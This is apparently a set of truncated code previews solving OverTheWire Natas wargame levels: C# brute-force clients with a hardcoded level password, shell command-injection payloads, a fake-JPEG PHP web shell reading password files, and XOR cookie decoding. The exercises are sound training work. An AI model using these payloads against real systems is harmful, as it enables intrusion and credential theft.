HFahlstedt

var userPass = "natas19:<--- password for natas19 --->";

var token = Convert.ToBase64String(Encoding.UTF8.GetBytes(userPass));

var uri = new Uri("http://natas19.natas.labs.overthewire.org/index.php");

for (int i = 1; i < 641; i++)
{
	var handler = new HttpClientHandler();
	handler.CookieContainer = new CookieContainer();

HFahlstedt

var client = new HttpClient();
var baseUrl = "http://natas17.natas.labs.overthewire.org";

var userPass = "natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw";

var token = Convert.ToBase64String(Encoding.UTF8.GetBytes(userPass));

client.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Basic", token);
var passwordLength = 0;

HFahlstedt

var alphaNumericChars = Enumerable.Range('0', '9' - '0' + 1).Union(Enumerable.Range('A', 'Z' - 'A' + 1)).Union(Enumerable.Range('a', 'z' - 'a' + 1)).Select(Convert.ToChar).ToList();

var userPass = "natas16:<-- natas16 password -->";

var token = Convert.ToBase64String(Encoding.UTF8.GetBytes(userPass));
var positiveResponseLength = 1105;

var client = new HttpClient();

client.DefaultRequestHeaders.Authorization = new System.Net.Http.Headers.AuthenticationHeaderValue("Basic", token);

HFahlstedt

grep -i "$(grep a /etc/natas_webpass/natas17)" dictionary.txt

HFahlstedt

grep ? /etc/natas_webpass/natas17

HFahlstedt

var client = new HttpClient();
var confirmationString = "This user exists";
var baseUrl = "http://natas15.natas.labs.overthewire.org";

var userPass = "natas15:<-- natas15 password -->";

var token = Convert.ToBase64String(Encoding.UTF8.GetBytes(userPass));

client.DefaultRequestHeaders.Authorization = new AuthenticationHeaderValue("Basic", token);
var passwordLength = 0;

HFahlstedt

printf '\xFF\xD8\xFF\xE0<?\n\tprint shell_exec(\"cat /etc/natas_webpass/natas13\");\n?>' > faked.jpg

HFahlstedt

<?
    print shell_exec('cat /etc/natas_webpass/natas13');
?>

HFahlstedt

<?php
  $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff");
  $plain_text = json_encode($defaultdata);
  $default_cookie_value = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=";
  $decoded_cookie_value = base64_decode($default_cookie_value);

  function my_xor_encrypt($in, $key) {
    $text = $in;
    $outText = '';

HFahlstedt

<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    passthru("grep -i $key dictionary.txt");
}